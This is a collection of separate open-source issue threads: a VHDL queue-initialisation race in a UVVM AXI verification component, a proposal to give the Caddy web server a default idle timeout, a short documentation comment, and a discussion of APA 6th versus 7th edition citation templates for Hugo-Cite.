Looking at bitvis_vip_axi/src/axi_vvc.vhd:178, the command and result queues are set up with a parallel vvc_constructor procedure from td_vvc_entity_support_pkg and queue size and threshold parameters from the generics are passed there. The constructor procedure in uvvm_vvc_framework/src_target_dependent/td_vvc_entity_support_pkg.vhd:354 also updates the shared vvc_config variable with the desired queue size.
All five AXI channels seem to have individual command queues (or "channel queues") as well as separate executor processes where the actual VVC commands are multiplexed and executed. The command queues are initialized at the start of the executor processes with the queue size in the shared variable vvc_config.
However, the value in the shared variable is not yet updated from the generic GC_CMD_QUEUE_COUNT_MAX because the vvc_constructor is still running at the same time. So the channel queues get initialised with the default command queue size instead (defined in C_CMD_QUEUE_COUNT_MAX in adaptations_pkg.vhd, 150 for me).
The queues should be initialised with the same size as the command queue, as stated in the comment in the executor processes: -- Set the command response queue up to the same settings as the command queue. So, adding 0 ns delays to get the vvc_constructor finished before reading the queue sizes from vvc_config in channel executor processes. The testbench in the example passes.

Thank you. We now see that this is a good temporary fix, but we also see that we should simplify this in the next release.


Set a default idle timeout

With Go 1.8, IdleTimeout was introduced:

// IdleTimeout is the maximum amount of time to wait for the
// next request when keep-alives are enabled. If IdleTimeout
// is zero, the value of ReadTimeout is used. If both are
// zero, there is no timeout.

I've found that setting IdleTimeout like so:
timeouts {
    idle 5m
}

vastly reduces the number of goroutines that stay open over time, presumably because even if the network link is active, there are no actual HTTP requests over the connection, and so the connections are not needed.
In the past, Caddy had default timeouts enabled (#1368) as a security precaution, but it broke a lot of people (just search the issues or forum) so I removed all default timeouts.
However, I suspect that setting IdleTimeout to a non-zero value by default will be beneficial without disrupting people's existing sites. It will reduce the number of goroutines that stay alive unnecessarily and free up file descriptors. Here's a tweet with some more evidence: https://twitter.com/mholt6/status/872257089296416768
I propose a default idle timeout of 5 minutes. Any feedback is welcome here.

Sounds good to me :+1:

@mholt @elcore  Hey there!! I'd love to help. Do you guys I can implement the default value for IdleTimeout? If so, would be awesome if u guys could point me in the right direction to get this done. :)

I am in favour of this. +1

@klebervirgilio Sure, go for it! It might be as simple as setting a field in defaultTimeouts here. Make sure to test it yourself and then write a test in the server_test.go file to verify it works. The test should fail without your change!

@klebervirgilio Any update on this? We're almost ready to push out the next version of Caddy.

@mholt Sorry for the delay! will work on this asap!

@klebervirgilio Sounds good! Let me know if I can help, I want to get a release out... tomorrow, I think.

@klebervirgilio Sorry, but I just went ahead and did it today; as it is an important part of today's release. However, there's plenty of work to do, and I hope you will contribute on another issue!


docs: Updates to documentation

== Limitations

I'll change it. Please comment directly in the files. It easier to find then.


APA: 6th vs 7th edition

As outlined recently in #38 and #35, there are significant differences between APA 6th edition and APA 7th edition. It would be a good thing to decide whether we chose one or the other, or offer both (!!) as in apa6 / apa7.

Here another interesting comparison between the two styles: https://academicguides.waldenu.edu/writingcenter/apa/7transition/comparison
Personnaly I have a preference for the 7th edition, more accurate, relevant and understandable.
But a choice between apa6, apa7 and apa fr (source) will be perfect :ok_hand: I'm in to help as much as I can!

So what we’ll have to do is have apa6.html + apa7.html, APA alone is not specific enough.

@antoinentl It would be good for me to better understand the French version of APA. Is it a French version which is completely different as in a whole separate "thing" with different citation patterns, or is it merely the localization (i18n version) of apa6th or apa7th? (by the way I really appreciated the summary of differences between apa 6th and apa 7th to which you linked.) If it is merely localization then maybe these i18n strings can be made available to other styles and languages. In this regard I found the linked guide very helpful: https://libguides.uvic.ca/frenchguide/apa
In issue #21 I approached the question of multiple styles and how they might live within Hugo-Cite. I see several options, either a site wide limitation, a per page/post limitation, or a per shortcode limitation. We would need to decide how these interact.
I will have apa6th edn templates ready in a few days for interviews, manuscripts, and hopefully audio resources. Some of these have changed very little or not at all between 6 and 7. From now on I will be more explicit when I make a contribution and especially note any differences.